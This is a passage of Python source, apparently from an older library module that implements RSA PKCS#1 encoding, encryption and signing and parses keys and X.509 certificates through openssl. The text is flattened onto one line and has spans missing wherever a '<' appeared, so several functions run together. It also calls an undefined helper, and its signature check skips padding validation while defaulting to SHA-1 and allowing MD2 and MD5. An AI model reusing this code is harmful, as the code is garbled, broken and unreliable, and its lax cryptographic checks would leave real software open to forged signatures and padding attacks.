math.ceil(float(maskLen) / float(hLen)) # 3) counter = 0 while counter < maxCounter: C = pkcs_i2osp(counter, 4) T += hFunc(mgfSeed + C) counter += 1 return T[:maskLen] def pkcs_emsa_pss_encode(M, emBits, h, mgf, sLen): """ Implements EMSA-PSS-ENCODE() function described in Sect. 9.1.1 of RFC 3447 Input: M : message to be encoded, an octet string emBits: maximal bit length of the integer resulting of pkcs_os2ip(EM), where EM is the encoded message, output of the function. h : hash function name (in 'md2', 'md4', 'md5', 'sha1', 'tls', 'sha256', 'sha384'). hLen denotes the length in octets of the hash function output. mgf : the mask generation function f : seed, maskLen -> mask sLen : intended length in octets of the salt Output: encoded message, an octet string of length emLen = ceil(emBits/8) On error, None is returned. """ # 1) is not done hLen = _hashFuncParams[h][0] # 2) hFunc = _hashFuncParams[h][1] mHash = hFunc(M) emLen = int(math.ceil(emBits/8.)) if emLen < hLen + sLen + 2: # 3) warning("encoding error (emLen < hLen + sLen + 2)") return None salt = randstring(sLen) # 4) MPrime = '\x00'*8 + mHash + salt # 5) H = hFunc(MPrime) # 6) PS = '\x00'*(emLen - sLen - hLen - 2) # 7) DB = PS + '\x01' + salt # 8) dbMask = mgf(H, emLen - hLen - 1) # 9) maskedDB = strxor(DB, dbMask) # 10) l = (8*emLen - emBits)/8 # 11) rem = 8*emLen - emBits - 8*l # additionnal bits andMask = l*'\x00' if rem: j = chr(reduce(lambda x,y: x+y, map(lambda x: 1< mask sLen : intended length in octets of the salt Output: True if the verification is ok, False otherwise. """ # 1) is not done hLen = _hashFuncParams[h][0] # 2) hFunc = _hashFuncParams[h][1] mHash = hFunc(M) emLen = int(math.ceil(emBits/8.)) # 3) if emLen < hLen + sLen + 2: return False if EM[-1] != '\xbc': # 4) return False l = emLen - hLen - 1 # 5) maskedDB = EM[:l] H = EM[l:l+hLen] l = (8*emLen - emBits)/8 # 6) rem = 8*emLen - emBits - 8*l # additionnal bits andMask = l*'\xff' if rem: val = reduce(lambda x,y: x+y, map(lambda x: 1< n-1: warning("Key._rsaep() expects a long between 0 and n-1") return None return self.key.decrypt(c) def _rsaes_pkcs1_v1_5_decrypt(self, C): """ Implements RSAES-PKCS1-V1_5-DECRYPT() function described in section 7.2.2 of RFC 3447. Input: C: ciphertext to be decrypted, an octet string of length k, where k is the length in octets of the RSA modulus n. Output: an octet string of length k at most k - 11 on error, None is returned. """ # 1) Length checking cLen = len(C) k = self.modulusLen / 8 if cLen != k or k < 11: warning("Key._rsaes_pkcs1_v1_5_decrypt() decryption error " "(cLen != k or k < 11)") return None # 2) RSA decryption c = pkcs_os2ip(C) # 2.a) m = self._rsadp(c) # 2.b) EM = pkcs_i2osp(m, k) # 2.c) # 3) EME-PKCS1-v1_5 decoding # I am aware of the note at the end of 7.2.2 regarding error # conditions reporting but the one provided below are for _local_ # debugging purposes. --arno if EM[0] != '\x00': warning("Key._rsaes_pkcs1_v1_5_decrypt(): decryption error " "(first byte is not 0x00)") return None if EM[1] != '\x02': warning("Key._rsaes_pkcs1_v1_5_decrypt(): decryption error " "(second byte is not 0x02)") return None tmp = EM[2:].split('\x00', 1) if len(tmp) != 2: warning("Key._rsaes_pkcs1_v1_5_decrypt(): decryption error " "(no 0x00 to separate PS from M)") return None PS, M = tmp if len(PS) < 8: warning("Key._rsaes_pkcs1_v1_5_decrypt(): decryption error " "(PS is less than 8 byte long)") return None return M # 4) def _rsaes_oaep_decrypt(self, C, h=None, mgf=None, L=None): """ Internal method providing RSAES-OAEP-DECRYPT as defined in Sect. 7.1.2 of RFC 3447. Not intended to be used directly. Please, see encrypt() method for type "OAEP". Input: C : ciphertext to be decrypted, an octet string of length k, where k = 2*hLen + 2 (k denotes the length in octets of the RSA modulus and hLen the length in octets of the hash function output) h : hash function name (in 'md2', 'md4', 'md5', 'sha1', 'tls', 'sha256', 'sha384'). 'sha1' is used if none is provided. mgf: the mask generation function f : seed, maskLen -> mask L : optional label whose association with the message is to be verified; the default value for L, if not provided is the empty string. Output: message, an octet string of length k mLen, where mLen <= k - 2*hLen - 2 On error, None is returned. """ # The steps below are the one described in Sect. 7.1.2 of RFC 3447. # 1) Length Checking # 1.a) is not done if h is None: h = "sha1" if not h in _hashFuncParams: warning("Key._rsaes_oaep_decrypt(): unknown hash function %s.", h) return None hLen = _hashFuncParams[h][0] hFun = _hashFuncParams[h][1] k = self.modulusLen / 8 cLen = len(C) if cLen != k: # 1.b) warning("Key._rsaes_oaep_decrypt(): decryption error. " "(cLen != k)") return None if k < 2*hLen + 2: warning("Key._rsaes_oaep_decrypt(): decryption error. " "(k < 2*hLen + 2)") return None # 2) RSA decryption c = pkcs_os2ip(C) # 2.a) m = self._rsadp(c) # 2.b) EM = pkcs_i2osp(m, k) # 2.c) # 3) EME-OAEP decoding if L is None: # 3.a) L = "" lHash = hFun(L) Y = EM[:1] # 3.b) if Y != '\x00': warning("Key._rsaes_oaep_decrypt(): decryption error. " "(Y is not zero)") return None maskedSeed = EM[1:1+hLen] maskedDB = EM[1+hLen:] if mgf is None: mgf = lambda x,y: pkcs_mgf1(x, y, h) seedMask = mgf(maskedDB, hLen) # 3.c) seed = strxor(maskedSeed, seedMask) # 3.d) dbMask = mgf(seed, k - hLen - 1) # 3.e) DB = strxor(maskedDB, dbMask) # 3.f) # I am aware of the note at the end of 7.1.2 regarding error # conditions reporting but the one provided below are for _local_ # debugging purposes. --arno lHashPrime = DB[:hLen] # 3.g) tmp = DB[hLen:].split('\x01', 1) if len(tmp) != 2: warning("Key._rsaes_oaep_decrypt(): decryption error. " "(0x01 separator not found)") return None PS, M = tmp if PS != '\x00'*len(PS): warning("Key._rsaes_oaep_decrypt(): decryption error. " "(invalid padding string)") return None if lHash != lHashPrime: warning("Key._rsaes_oaep_decrypt(): decryption error. " "(invalid hash)") return None return M # 4) def decrypt(self, C, t=None, h=None, mgf=None, L=None): """ Decrypt ciphertext 'C' using 't' decryption scheme where 't' can be: - None: the ciphertext 'C' is directly applied the RSADP decryption primitive, as described in PKCS#1 v2.1, i.e. RFC 3447 Sect 5.1.2. Simply, put the message undergo a modular exponentiation using the private key. Additionnal method parameters are just ignored. - 'pkcs': the ciphertext 'C' is applied RSAES-PKCS1-V1_5-DECRYPT decryption scheme as described in section 7.2.2 of RFC 3447. In that context, other parameters ('h', 'mgf', 'l') are not used. - 'oaep': the ciphertext 'C' is applied the RSAES-OAEP-DECRYPT decryption scheme, as described in PKCS#1 v2.1, i.e. RFC 3447 Sect 7.1.2. In that context, o 'h' parameter provides the name of the hash method to use. Possible values are "md2", "md4", "md5", "sha1", "tls", "sha224", "sha256", "sha384" and "sha512". if none is provided, sha1 is used by default. o 'mgf' is the mask generation function. By default, mgf is derived from the provided hash function using the generic MGF1 (see pkcs_mgf1() for details). o 'L' is the optional label to be associated with the message. If not provided, the default value is used, i.e the empty string. No check is done on the input limitation of the hash function regarding the size of 'L' (for instance, 2^61 - 1 for SHA-1). You have been warned. """ if t is None: C = pkcs_os2ip(C) c = self._rsadp(C) l = int(math.ceil(math.log(c, 2) / 8.)) # Hack return pkcs_i2osp(c, l) elif t == "pkcs": return self._rsaes_pkcs1_v1_5_decrypt(C) elif t == "oaep": return self._rsaes_oaep_decrypt(C, h, mgf, L) else: warning("Key.decrypt(): Unknown decryption type (%s) provided" % t) return None ### Below are signature related methods. Verification ones are inherited from ### PubKey def _rsasp1(self, m): """ Internal method providing raw RSA signature, i.e. simple modular exponentiation of the given message representative 'm', an integer between 0 and n-1. This is the signature primitive RSASP1 described in PKCS#1 v2.1, i.e. RFC 3447 Sect. 5.2.1. Input: m: message representative, an integer between 0 and n-1, where n is the key modulus. Output: signature representative, an integer between 0 and n-1 Not intended to be used directly. Please, see sign() method. """ return self._rsadp(m) def _rsassa_pss_sign(self, M, h=None, mgf=None, sLen=None): """ Implements RSASSA-PSS-SIGN() function described in Sect. 8.1.1 of RFC 3447. Input: M: message to be signed, an octet string Output: signature, an octet string of length k, where k is the length in octets of the RSA modulus n. On error, None is returned. """ # Set default parameters if not provided if h is None: # By default, sha1 h = "sha1" if not h in _hashFuncParams: warning("Key._rsassa_pss_sign(): unknown hash function " "provided (%s)" % h) return None if mgf is None: # use mgf1 with underlying hash function mgf = lambda x,y: pkcs_mgf1(x, y, h) if sLen is None: # use Hash output length (A.2.3 of RFC 3447) hLen = _hashFuncParams[h][0] sLen = hLen # 1) EMSA-PSS encoding modBits = self.modulusLen k = modBits / 8 EM = pkcs_emsa_pss_encode(M, modBits - 1, h, mgf, sLen) if EM is None: warning("Key._rsassa_pss_sign(): unable to encode") return None # 2) RSA signature m = pkcs_os2ip(EM) # 2.a) s = self._rsasp1(m) # 2.b) S = pkcs_i2osp(s, k) # 2.c) return S # 3) def _rsassa_pkcs1_v1_5_sign(self, M, h): """ Implements RSASSA-PKCS1-v1_5-SIGN() function as described in Sect. 8.2.1 of RFC 3447. Input: M: message to be signed, an octet string h: hash function name (in 'md2', 'md4', 'md5', 'sha1', 'tls' 'sha256', 'sha384'). Output: the signature, an octet string. """ # 1) EMSA-PKCS1-v1_5 encoding k = self.modulusLen / 8 EM = pkcs_emsa_pkcs1_v1_5_encode(M, k, h) if EM is None: warning("Key._rsassa_pkcs1_v1_5_sign(): unable to encode") return None # 2) RSA signature m = pkcs_os2ip(EM) # 2.a) s = self._rsasp1(m) # 2.b) S = pkcs_i2osp(s, k) # 2.c) return S # 3) def sign(self, M, t=None, h=None, mgf=None, sLen=None): """ Sign message 'M' using 't' signature scheme where 't' can be: - None: the message 'M' is directly applied the RSASP1 signature primitive, as described in PKCS#1 v2.1, i.e. RFC 3447 Sect 5.2.1. Simply put, the message undergo a modular exponentiation using the private key. Additionnal method parameters are just ignored. - 'pkcs': the message 'M' is applied RSASSA-PKCS1-v1_5-SIGN signature scheme as described in Sect. 8.2.1 of RFC 3447. In that context, the hash function name is passed using 'h'. Possible values are "md2", "md4", "md5", "sha1", "tls", "sha224", "sha256", "sha384" and "sha512". If none is provided, sha1 is used. Other additionnal parameters are ignored. - 'pss' : the message 'M' is applied RSASSA-PSS-SIGN signature scheme as described in Sect. 8.1.1. of RFC 3447. In that context, o 'h' parameter provides the name of the hash method to use. Possible values are "md2", "md4", "md5", "sha1", "tls", "sha224", "sha256", "sha384" and "sha512". if none is provided, sha1 is used. o 'mgf' is the mask generation function. By default, mgf is derived from the provided hash function using the generic MGF1 (see pkcs_mgf1() for details). o 'sLen' is the length in octet of the salt. You can overload the default value (the octet length of the hash value for provided algorithm) by providing another one with that parameter. """ if t is None: # RSASP1 M = pkcs_os2ip(M) n = self.modulus if M > n-1: warning("Message to be signed is too long for key modulus") return None s = self._rsasp1(M) if s is None: return None return pkcs_i2osp(s, self.modulusLen/8) elif t == "pkcs": # RSASSA-PKCS1-v1_5-SIGN if h is None: h = "sha1" return self._rsassa_pkcs1_v1_5_sign(M, h) elif t == "pss": # RSASSA-PSS-SIGN return self._rsassa_pss_sign(M, h, mgf, sLen) else: warning("Key.sign(): Unknown signature type (%s) provided" % t) return None def openssl_parse_RSA(fmt="PEM"): return popen3(['openssl', 'rsa', '-text', '-pubin', '-inform', fmt, '-noout']) def openssl_convert_RSA(infmt="PEM", outfmt="DER"): return ['openssl', 'rsa', '-pubin', '-inform', infmt, '-outform', outfmt] class PubKey(OSSLHelper, _EncryptAndVerify): # Below are the fields we recognize in the -text output of openssl # and from which we extract information. We expect them in that # order. Number of spaces does matter. possible_fields = [ "Modulus (", "Exponent:" ] possible_fields_count = len(possible_fields) def __init__(self, keypath): error_msg = "Unable to import key." # XXX Temporary hack to use PubKey inside Cert if type(keypath) is tuple: e, m, mLen = keypath self.modulus = m self.modulusLen = mLen self.pubExp = e return fields_dict = {} for k in self.possible_fields: fields_dict[k] = None self.keypath = None rawkey = None if (not '\x00' in keypath) and os.path.isfile(keypath): # file self.keypath = keypath key_size = os.path.getsize(keypath) if key_size > MAX_KEY_SIZE: raise Exception(error_msg) try: f = open(keypath) rawkey = f.read() f.close() except: raise Exception(error_msg) else: rawkey = keypath if rawkey is None: raise Exception(error_msg) self.rawkey = rawkey key_header = "-----BEGIN PUBLIC KEY-----" key_footer = "-----END PUBLIC KEY-----" l = rawkey.split(key_header, 1) if len(l) == 2: # looks like PEM tmp = l[1] l = tmp.split(key_footer, 1) if len(l) == 2: tmp = l[0] rawkey = "%s%s%s\n" % (key_header, tmp, key_footer) else: raise Exception(error_msg) r,w,e = openssl_parse_RSA("PEM") w.write(rawkey) w.close() textkey = r.read() r.close() res = e.read() e.close() if res == '': self.format = "PEM" self.pemkey = rawkey self.textkey = textkey cmd = openssl_convert_RSA_cmd("PEM", "DER") self.derkey = self._apply_ossl_cmd(cmd, rawkey) else: raise Exception(error_msg) else: # not PEM, try DER r,w,e = openssl_parse_RSA("DER") w.write(rawkey) w.close() textkey = r.read() r.close() res = e.read() if res == '': self.format = "DER" self.derkey = rawkey self.textkey = textkey cmd = openssl_convert_RSA_cmd("DER", "PEM") self.pemkey = self._apply_ossl_cmd(cmd, rawkey) cmd = openssl_convert_RSA_cmd("DER", "DER") self.derkey = self._apply_ossl_cmd(cmd, rawkey) else: try: # Perhaps it is a cert c = Cert(keypath) except: raise Exception(error_msg) # TODO: # Reconstruct a key (der and pem) and provide: # self.format # self.derkey # self.pemkey # self.textkey # self.keypath self.osslcmdbase = ['openssl', 'rsa', '-pubin', '-inform', self.format] self.keypath = keypath # Parse the -text output of openssl to make things available l = self.textkey.split('\n', 1) if len(l) != 2: raise Exception(error_msg) cur, tmp = l i = 0 k = self.possible_fields[i] # Modulus ( cur = cur[len(k):] + '\n' while k: l = tmp.split('\n', 1) if len(l) != 2: # Over fields_dict[k] = cur break l, tmp = l newkey = 0 # skip fields we have already seen, this is the purpose of 'i' for j in range(i, self.possible_fields_count): f = self.possible_fields[j] if l.startswith(f): fields_dict[k] = cur cur = l[len(f):] + '\n' k = f newkey = 1 i = j+1 break if newkey == 1: continue cur += l + '\n' # modulus and modulus length v = fields_dict["Modulus ("] self.modulusLen = None if v: v, rem = v.split(' bit):', 1) self.modulusLen = int(v) rem = rem.replace('\n','').replace(' ','').replace(':','') self.modulus = long(rem, 16) if self.modulus is None: raise Exception(error_msg) # public exponent v = fields_dict["Exponent:"] self.pubExp = None if v: self.pubExp = long(v.split('(', 1)[0]) if self.pubExp is None: raise Exception(error_msg) self.key = rsa.RSAPublicNumbers( n = self.modulus, e = self.pubExp, ).public_key(default_backend()) def __str__(self): return self.derkey class Key(_DecryptAndSignMethods, _EncryptAndVerify): # Below are the fields we recognize in the -text output of openssl # and from which we extract information. We expect them in that # order. Number of spaces does matter. possible_fields = [ "Private-Key: (", "modulus:", "publicExponent:", "privateExponent:", "prime1:", "prime2:", "exponent1:", "exponent2:", "coefficient:" ] possible_fields_count = len(possible_fields) def __init__(self, keypath): error_msg = "Unable to import key." fields_dict = {} for k in self.possible_fields: fields_dict[k] = None self.keypath = None rawkey = None if (not '\x00' in keypath) and os.path.isfile(keypath): self.keypath = keypath key_size = os.path.getsize(keypath) if key_size > MAX_KEY_SIZE: raise Exception(error_msg) try: f = open(keypath) rawkey = f.read() f.close() except: raise Exception(error_msg) else: rawkey = keypath if rawkey is None: raise Exception(error_msg) self.rawkey = rawkey # Let's try to get file format : PEM or DER. fmtstr = 'openssl rsa -text -inform %s -noout' convertstr = 'openssl rsa -inform %s -outform %s' key_header = "-----BEGIN RSA PRIVATE KEY-----" key_footer = "-----END RSA PRIVATE KEY-----" l = rawkey.split(key_header, 1) if len(l) == 2: # looks like PEM tmp = l[1] l = tmp.split(key_footer, 1) if len(l) == 2: tmp = l[0] rawkey = "%s%s%s\n" % (key_header, tmp, key_footer) else: raise Exception(error_msg) r,w,e = popen3((fmtstr % "PEM").split(" ")) w.write(rawkey) w.close() textkey = r.read() r.close() res = e.read() e.close() if res == '': self.format = "PEM" self.pemkey = rawkey self.textkey = textkey cmd = (convertstr % ("PEM", "DER")).split(" ") self.derkey = self._apply_ossl_cmd(cmd, rawkey) else: raise Exception(error_msg) else: # not PEM, try DER r,w,e = popen3((fmtstr % "DER").split(" ")) w.write(rawkey) w.close() textkey = r.read() r.close() res = e.read() if res == '': self.format = "DER" self.derkey = rawkey self.textkey = textkey cmd = (convertstr % ("DER", "PEM")).split(" ") self.pemkey = self._apply_ossl_cmd(cmd, rawkey) cmd = (convertstr % ("DER", "DER")).split(" ") self.derkey = self._apply_ossl_cmd(cmd, rawkey) else: raise Exception(error_msg) self.osslcmdbase = ['openssl', 'rsa', '-inform', self.format] r,w,e = popen3(["openssl", "asn1parse", "-inform", "DER"]) w.write(self.derkey) w.close() self.asn1parsekey = r.read() r.close() res = e.read() e.close() if res != '': raise Exception(error_msg) self.keypath = keypath # Parse the -text output of openssl to make things available l = self.textkey.split('\n', 1) if len(l) != 2: raise Exception(error_msg) cur, tmp = l i = 0 k = self.possible_fields[i] # Private-Key: ( cur = cur[len(k):] + '\n' while k: l = tmp.split('\n', 1) if len(l) != 2: # Over fields_dict[k] = cur break l, tmp = l newkey = 0 # skip fields we have already seen, this is the purpose of 'i' for j in range(i, self.possible_fields_count): f = self.possible_fields[j] if l.startswith(f): fields_dict[k] = cur cur = l[len(f):] + '\n' k = f newkey = 1 i = j+1 break if newkey == 1: continue cur += l + '\n' # modulus length v = fields_dict["Private-Key: ("] self.modulusLen = None if v: self.modulusLen = int(v.split(' bit', 1)[0]) if self.modulusLen is None: raise Exception(error_msg) # public exponent v = fields_dict["publicExponent:"] self.pubExp = None if v: self.pubExp = long(v.split('(', 1)[0]) if self.pubExp is None: raise Exception(error_msg) tmp = {} for k in ["modulus:", "privateExponent:", "prime1:", "prime2:", "exponent1:", "exponent2:", "coefficient:"]: v = fields_dict[k] if v: s = v.replace('\n', '').replace(' ', '').replace(':', '') tmp[k] = long(s, 16) else: raise Exception(error_msg) self.modulus = tmp["modulus:"] self.privExp = tmp["privateExponent:"] self.prime1 = tmp["prime1:"] self.prime2 = tmp["prime2:"] self.exponent1 = tmp["exponent1:"] self.exponent2 = tmp["exponent2:"] self.coefficient = tmp["coefficient:"] self.key = rsa.RSAPrivateNumbers( p=self.prime1, q=self.prime2, d=self.privExp, dmp1=self.exponent1, dmq1=self.exponent2, iqmp=self.coefficient, public_numbers=rsa.RSAPublicNumbers(n=self.modulus, e=self.pubExp), ).private_key(default_backend()) self.key = RSA.construct((self.modulus, self.pubExp, self.privExp)) def __str__(self): return self.derkey # We inherit from PubKey to get access to all encryption and verification # methods. To have that working, we simply need Cert to provide # modulusLen and key attribute. # XXX Yes, it is a hack. class Cert(OSSLHelper, _EncryptAndVerify): # Below are the fields we recognize in the -text output of openssl # and from which we extract information. We expect them in that # order. Number of spaces does matter. possible_fields = [ " Version:", " Serial Number:", " Signature Algorithm:", " Issuer:", " Not Before:", " Not After :", " Subject:", " Public Key Algorithm:", " Modulus (", " Exponent:", " X509v3 Subject Key Identifier:", " X509v3 Authority Key Identifier:", " keyid:", " DirName:", " serial:", " X509v3 Basic Constraints:", " X509v3 Key Usage:", " X509v3 Extended Key Usage:", " X509v3 CRL Distribution Points:", " Authority Information Access:", " Signature Algorithm:" ] possible_fields_count = len(possible_fields) def __init__(self, certpath): error_msg = "Unable to import certificate." fields_dict = {} for k in self.possible_fields: fields_dict[k] = None self.certpath = None rawcert = None if (not '\x00' in certpath) and os.path.isfile(certpath): # file self.certpath = certpath cert_size = os.path.getsize(certpath) if cert_size > MAX_CERT_SIZE: raise Exception(error_msg) try: f = open(certpath) rawcert = f.read() f.close() except: raise Exception(error_msg) else: rawcert = certpath if rawcert is None: raise Exception(error_msg) self.rawcert = rawcert # Let's try to get file format : PEM or DER. fmtstr = 'openssl x509 -text -inform %s -noout' convertstr = 'openssl x509 -inform %s -outform %s' cert_header = "-----BEGIN CERTIFICATE-----" cert_footer = "-----END CERTIFICATE-----" l = rawcert.split(cert_header, 1) if len(l) == 2: # looks like PEM tmp = l[1] l = tmp.split(cert_footer, 1) if len(l) == 2: tmp = l[0] rawcert = "%s%s%s\n" % (cert_header, tmp, cert_footer) else: raise Exception(error_msg) r,w,e = popen3((fmtstr % "PEM").split(" ")) w.write(rawcert) w.close() textcert = r.read() r.close() res = e.read() e.close() if res == '': self.format = "PEM" self.pemcert = rawcert self.textcert = textcert cmd = (convertstr % ("PEM", "DER")).split(" ") self.dercert = self._apply_ossl_cmd(cmd, rawcert) else: raise Exception(error_msg) else: # not PEM, try DER r,w,e = popen3((fmtstr % "DER").split(" ")) w.write(rawcert) w.close() textcert = r.read() r.close() res = e.read() if res == '': self.format = "DER" self.dercert = rawcert self.textcert = textcert cmd = (convertstr % ("DER", "PEM")).split(" ") self.pemcert = self._apply_ossl_cmd(cmd, rawcert) cmd = (convertstr % ("DER", "DER")).split(" ") self.dercert = self._apply_ossl_cmd(cmd, rawcert) else: raise Exception(error_msg) self.osslcmdbase = ['openssl', 'x509', '-inform', self.format] r,w,e = popen3('openssl asn1parse -inform DER'.split(' ')) w.write(self.dercert) w.close() self.asn1parsecert = r.read() r.close() res = e.read() e.close() if res != '': raise Exception(error_msg) # Grab _raw_ X509v3 Authority Key Identifier, if any. tmp = self.asn1parsecert.split(":X509v3 Authority Key Identifier", 1) self.authorityKeyID = None if len(tmp) == 2: tmp = tmp[1] tmp = tmp.split("[HEX DUMP]:", 1)[1] self.authorityKeyID=tmp.split('\n',1)[0] # Grab _raw_ X509v3 Subject Key Identifier, if any. tmp = self.asn1parsecert.split(":X509v3 Subject Key Identifier", 1) self.subjectKeyID = None if len(tmp) == 2: tmp = tmp[1] tmp = tmp.split("[HEX DUMP]:", 1)[1] self.subjectKeyID=tmp.split('\n',1)[0] # Get tbsCertificate using the worst hack. output of asn1parse # looks like that: # # 0:d=0 hl=4 l=1298 cons: SEQUENCE # 4:d=1 hl=4 l=1018 cons: SEQUENCE # ... # l1,l2 = self.asn1parsecert.split('\n', 2)[:2] hl1 = int(l1.split("hl=",1)[1].split("l=",1)[0]) rem = l2.split("hl=",1)[1] hl2, rem = rem.split("l=",1) hl2 = int(hl2) l = int(rem.split("cons",1)[0]) self.tbsCertificate = self.dercert[hl1:hl1+hl2+l] # Parse the -text output of openssl to make things available tmp = self.textcert.split('\n', 2)[2] l = tmp.split('\n', 1) if len(l) != 2: raise Exception(error_msg) cur, tmp = l i = 0 k = self.possible_fields[i] # Version: cur = cur[len(k):] + '\n' while k: l = tmp.split('\n', 1) if len(l) != 2: # Over fields_dict[k] = cur break l, tmp = l newkey = 0 # skip fields we have already seen, this is the purpose of 'i' for j in range(i, self.possible_fields_count): f = self.possible_fields[j] if l.startswith(f): fields_dict[k] = cur cur = l[len(f):] + '\n' k = f newkey = 1 i = j+1 break if newkey == 1: continue cur += l + '\n' # version v = fields_dict[" Version:"] self.version = None if v: self.version = int(v[1:2]) if self.version is None: raise Exception(error_msg) # serial number v = fields_dict[" Serial Number:"] self.serial = None if v: v = v.replace('\n', '').strip() if "0x" in v: v = v.split("0x", 1)[1].split(')', 1)[0] v = v.replace(':', '').upper() if len(v) % 2: v = '0' + v self.serial = v if self.serial is None: raise Exception(error_msg) # Signature Algorithm v = fields_dict[" Signature Algorithm:"] self.sigAlg = None if v: v = v.split('\n',1)[0] v = v.strip() self.sigAlg = v if self.sigAlg is None: raise Exception(error_msg) # issuer v = fields_dict[" Issuer:"] self.issuer = None if v: v = v.split('\n',1)[0] v = v.strip() self.issuer = v if self.issuer is None: raise Exception(error_msg) # not before v = fields_dict[" Not Before:"] self.notBefore_str = None if v: v = v.split('\n',1)[0] v = v.strip() self.notBefore_str = v if self.notBefore_str is None: raise Exception(error_msg) try: self.notBefore = time.strptime(self.notBefore_str, "%b %d %H:%M:%S %Y %Z") except: self.notBefore = time.strptime(self.notBefore_str, "%b %d %H:%M:%S %Y") self.notBefore_str_simple = time.strftime("%x", self.notBefore) # not after v = fields_dict[" Not After :"] self.notAfter_str = None if v: v = v.split('\n',1)[0] v = v.strip() self.notAfter_str = v if self.notAfter_str is None: raise Exception(error_msg) try: self.notAfter = time.strptime(self.notAfter_str, "%b %d %H:%M:%S %Y %Z") except: self.notAfter = time.strptime(self.notAfter_str, "%b %d %H:%M:%S %Y") self.notAfter_str_simple = time.strftime("%x", self.notAfter) # subject v = fields_dict[" Subject:"] self.subject = None if v: v = v.split('\n',1)[0] v = v.strip() self.subject = v if self.subject is None: raise Exception(error_msg) # Public Key Algorithm v = fields_dict[" Public Key Algorithm:"] self.pubKeyAlg = None if v: v = v.split('\n',1)[0] v = v.strip() self.pubKeyAlg = v if self.pubKeyAlg is None: raise Exception(error_msg) # Modulus v = fields_dict[" Modulus ("] self.modulus = None if v: v,t = v.split(' bit):',1) self.modulusLen = int(v) t = t.replace(' ', '').replace('\n', ''). replace(':', '') self.modulus_hexdump = t self.modulus = long(t, 16) if self.modulus is None: raise Exception(error_msg) # Exponent v = fields_dict[" Exponent:"] self.exponent = None if v: v = v.split('(',1)[0] self.exponent = long(v) if self.exponent is None: raise Exception(error_msg) # Public Key instance self.key = RSA.construct((self.modulus, self.exponent, )) # Subject Key Identifier # Authority Key Identifier: keyid, dirname and serial self.authorityKeyID_keyid = None self.authorityKeyID_dirname = None self.authorityKeyID_serial = None if self.authorityKeyID: # (hex version already done using asn1parse) v = fields_dict[" keyid:"] if v: v = v.split('\n',1)[0] v = v.strip().replace(':', '') self.authorityKeyID_keyid = v v = fields_dict[" DirName:"] if v: v = v.split('\n',1)[0] self.authorityKeyID_dirname = v v = fields_dict[" serial:"] if v: v = v.split('\n',1)[0] v = v.strip().replace(':', '') self.authorityKeyID_serial = v # Basic constraints self.basicConstraintsCritical = False self.basicConstraints=None v = fields_dict[" X509v3 Basic Constraints:"] if v: self.basicConstraints = {} v,t = v.split('\n',2)[:2] if "critical" in v: self.basicConstraintsCritical = True if "CA:" in t: self.basicConstraints["CA"] = t.split('CA:')[1][:4] == "TRUE" if "pathlen:" in t: self.basicConstraints["pathlen"] = int(t.split('pathlen:')[1]) # X509v3 Key Usage self.keyUsage = [] v = fields_dict[" X509v3 Key Usage:"] if v: # man 5 x509v3_config ku_mapping = {"Digital Signature": "digitalSignature", "Non Repudiation": "nonRepudiation", "Key Encipherment": "keyEncipherment", "Data Encipherment": "dataEncipherment", "Key Agreement": "keyAgreement", "Certificate Sign": "keyCertSign", "CRL Sign": "cRLSign", "Encipher Only": "encipherOnly", "Decipher Only": "decipherOnly"} v = v.split('\n',2)[1] l = map(lambda x: x.strip(), v.split(',')) while l: c = l.pop() if c in ku_mapping: self.keyUsage.append(ku_mapping[c]) else: self.keyUsage.append(c) # Add it anyway print("Found unknown X509v3 Key Usage: '%s'" % c) print("Report it to arno (at) natisbad.org for addition") # X509v3 Extended Key Usage self.extKeyUsage = [] v = fields_dict[" X509v3 Extended Key Usage:"] if v: # man 5 x509v3_config: eku_mapping = {"TLS Web Server Authentication": "serverAuth", "TLS Web Client Authentication": "clientAuth", "Code Signing": "codeSigning", "E-mail Protection": "emailProtection", "Time Stamping": "timeStamping", "Microsoft Individual Code Signing": "msCodeInd", "Microsoft Commercial Code Signing": "msCodeCom", "Microsoft Trust List Signing": "msCTLSign", "Microsoft Encrypted File System": "msEFS", "Microsoft Server Gated Crypto": "msSGC", "Netscape Server Gated Crypto": "nsSGC", "IPSec End System": "iPsecEndSystem", "IPSec Tunnel": "iPsecTunnel", "IPSec User": "iPsecUser"} v = v.split('\n',2)[1] l = map(lambda x: x.strip(), v.split(',')) while l: c = l.pop() if c in eku_mapping: self.extKeyUsage.append(eku_mapping[c]) else: self.extKeyUsage.append(c) # Add it anyway print("Found unknown X509v3 Extended Key Usage: '%s'" % c) print("Report it to arno (at) natisbad.org for addition") # CRL Distribution points self.cRLDistributionPoints = [] v = fields_dict[" X509v3 CRL Distribution Points:"] if v: v = v.split("\n\n", 1)[0] v = v.split("URI:")[1:] self.CRLDistributionPoints = map(lambda x: x.strip(), v) # Authority Information Access: list of tuples ("method", "location") self.authorityInfoAccess = [] v = fields_dict[" Authority Information Access:"] if v: v = v.split("\n\n", 1)[0] v = v.split("\n")[1:] for e in v: method, location = map(lambda x: x.strip(), e.split(" - ", 1)) self.authorityInfoAccess.append((method, location)) # signature field v = fields_dict[" Signature Algorithm:" ] self.sig = None if v: v = v.split('\n',1)[1] v = v.replace(' ', '').replace('\n', '') self.sig = "".join(map(lambda x: chr(int(x, 16)), v.split(':'))) self.sigLen = len(self.sig) if self.sig is None: raise Exception(error_msg) def isIssuerCert(self, other): """ True if 'other' issued 'self', i.e.: - self.issuer == other.subject - self is signed by other """ # XXX should be done on raw values, instead of their textual repr if self.issuer != other.subject: return False # Sanity check regarding modulus length and the # signature length keyLen = (other.modulusLen + 7)/8 if keyLen != self.sigLen: return False unenc = other.encrypt(self.sig) # public key encryption, i.e. decrypt # XXX Check block type (00 or 01 and type of padding) unenc = unenc[1:] if not '\x00' in unenc: return False pos = unenc.index('\x00') unenc = unenc[pos+1:] found = None for k in _hashFuncParams.keys(): if self.sigAlg.startswith(k): found = k break if not found: return False hlen, hfunc, digestInfo = _hashFuncParams[k] if len(unenc) != (hlen+len(digestInfo)): return False if not unenc.startswith(digestInfo): return False h = unenc[-hlen:] myh = hfunc(self.tbsCertificate) return h == myh def chain(self, certlist): """ Construct the chain of certificates leading from 'self' to the self signed root using the certificates in 'certlist'. If the list does not provide all the required certs to go to the root the function returns a incomplete chain starting with the certificate. This fact can be tested by tchecking if the last certificate of the returned chain is self signed (if c is the result, c[-1].isSelfSigned()) """ d = {} for c in certlist: # XXX we should check if we have duplicate d[c.subject] = c res = [self] cur = self while not cur.isSelfSigned(): if cur.issuer in d: possible_issuer = d[cur.issuer] if cur.isIssuerCert(possible_issuer): res.append(possible_issuer) cur = possible_issuer else: break return res def remainingDays(self, now=None): """ Based on the value of notBefore field, returns 